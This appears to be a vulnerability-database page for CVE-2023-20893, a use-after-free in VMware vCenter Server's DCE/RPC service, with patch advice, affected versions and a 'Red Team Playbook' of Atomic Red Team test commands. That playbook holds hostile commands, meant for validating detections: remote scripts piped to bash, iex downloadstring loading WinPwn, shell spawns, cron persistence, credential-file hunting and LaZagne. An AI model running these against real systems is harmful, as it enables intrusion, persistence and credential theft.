CVE-2023-20893
Overview
This vulnerability is a use-after-free condition in the implementation of the DCE/RPC protocol within VMware vCenter Server. The flaw arises from improper memory management where a freed object is accessed, leading to undefined behavior. The affected component is the network-facing DCE/RPC service handling remote procedure calls in vCenter Server versions including 7.0.
Vulnerability Description
The VMware vCenter Server contains a use-after-free vulnerability in the implementation of the DCERPC protocol. A malicious actor with network access to vCenter Server may exploit this issue to execute arbitrary code on the underlying operating system that hosts vCenter Server.
Impact
An unauthenticated attacker with network access to the vCenter Server can exploit this vulnerability to execute arbitrary code with the privileges of the underlying operating system. This allows complete compromise of the vCenter Server host, enabling actions such as data exfiltration, lateral movement, or disruption of virtualization infrastructure. The CVSS vector (AV:N/AC:H/PR:N/UI:N) indicates no privileges or user interaction are required, though high attack complexity is present due to the crafted network packets needed.
Solution
VMware has released patches for vCenter Server as detailed in advisory VMSA-2023-0014, which addresses this use-after-free vulnerability in the DCE/RPC protocol handler. Users should upgrade affected vCenter Server instances to the fixed versions specified in the advisory, including updates for version 7.0. The vendor’s advisory at https://www.vmware.com/security/advisories/VMSA-2023-0014.html provides comprehensive patching instructions and version details.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in VMware vCenter Server is characterized as a use-after-free flaw within the implementation of the Distributed Computing Environment Remote Procedure Call (DCERPC) protocol. This type of vulnerability occurs when a program continues to use a pointer after the memory it points to has been freed, leading to undefined behavior. In this case, an attacker with network access to the vCenter Server can exploit this flaw to execute arbitrary code on the underlying operating system. The severity of this vulnerability is underscored by its high CVSS score, indicating a critical risk to systems relying on this software for virtualization management.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting the network interface of the vCenter Server. An attacker could craft specially designed DCERPC requests that manipulate the memory management of the server, ultimately leading to the execution of malicious code. Given that vCenter Server is often deployed in environments that manage multiple virtual machines and critical infrastructure, the potential for exploitation is significant. Attack scenarios could involve unauthorized access to sensitive data, disruption of services, or even lateral movement within a network, allowing attackers to escalate privileges and compromise additional systems.
The real-world impact of this vulnerability is profound, particularly for organizations that rely heavily on VMware's virtualization solutions. The ability for an attacker to execute arbitrary code on the host operating system can lead to severe business risks, including data breaches, loss of intellectual property, and operational downtime. The implications extend beyond immediate financial losses; they can also damage an organization's reputation and erode customer trust. Furthermore, the interconnected nature of modern IT environments means that a successful exploit could have cascading effects, potentially impacting other systems and services.
To address this vulnerability, organizations should implement a robust detection and mitigation strategy. Regularly updating vCenter Server to the latest versions and applying security patches is essential to protect against known vulnerabilities. Network segmentation can also be an effective strategy, limiting access to the vCenter Server only to trusted devices and users. Additionally, monitoring network traffic for unusual patterns or unauthorized access attempts can help detect potential exploitation attempts early. Employing intrusion detection systems (IDS) and conducting regular security audits can further enhance an organization's security posture.
In conclusion, the use-after-free vulnerability in VMware vCenter Server presents a critical risk that organizations must take seriously. Understanding the technical details, potential attack vectors, and real-world implications is vital for cybersecurity professionals tasked with safeguarding their environments. By adopting proactive detection and mitigation strategies, businesses can significantly reduce their exposure to this and similar vulnerabilities, ensuring the integrity and security of their virtualized infrastructure.
Affected Products (33)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Vmware | Vcenter Server | All |
cpe:2.3:a:vmware:vcenter_server:*:*:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:-:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:a:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:b:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:c:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:d:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1a:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1c:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update1d:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2a:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2b:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2c:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update2d:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3a:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3c:*:*:*:*:*:*
|
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3d:*:*:*:*:*:*
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Vmware | Vcenter Server | 7.0 |
cpe:2.3:a:vmware:vcenter_server:7.0:update3e:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns
No CAPEC pattern mapped to this CVE.
Red Team Playbook
47 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
echo "#{command}" > /etc/cron.d/#{cron_script_name}
echo "#{command}" >> /var/spool/cron/crontabs/#{cron_script_name}
echo "#{command}" > /etc/cron.daily/#{cron_script_name}
echo "#{command}" > /etc/cron.hourly/#{cron_script_name}
echo "#{command}" > /etc/cron.monthly/#{cron_script_name}
echo "#{command}" > /etc/cron.weekly/#{cron_script_name}
crontab -l > /tmp/notevil
echo "* * * * * #{command}" > #{tmp_cron} && crontab #{tmp_cron}
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-20893 |
| vmware.com |
GitHub CVE
|
https://www.vmware.com/security/advisories/VMSA-2023-0014.html |
| talosintelligence.com |
GitHub CVE
|
https://www.talosintelligence.com/vulnerability_reports/TALOS-2023-1799 |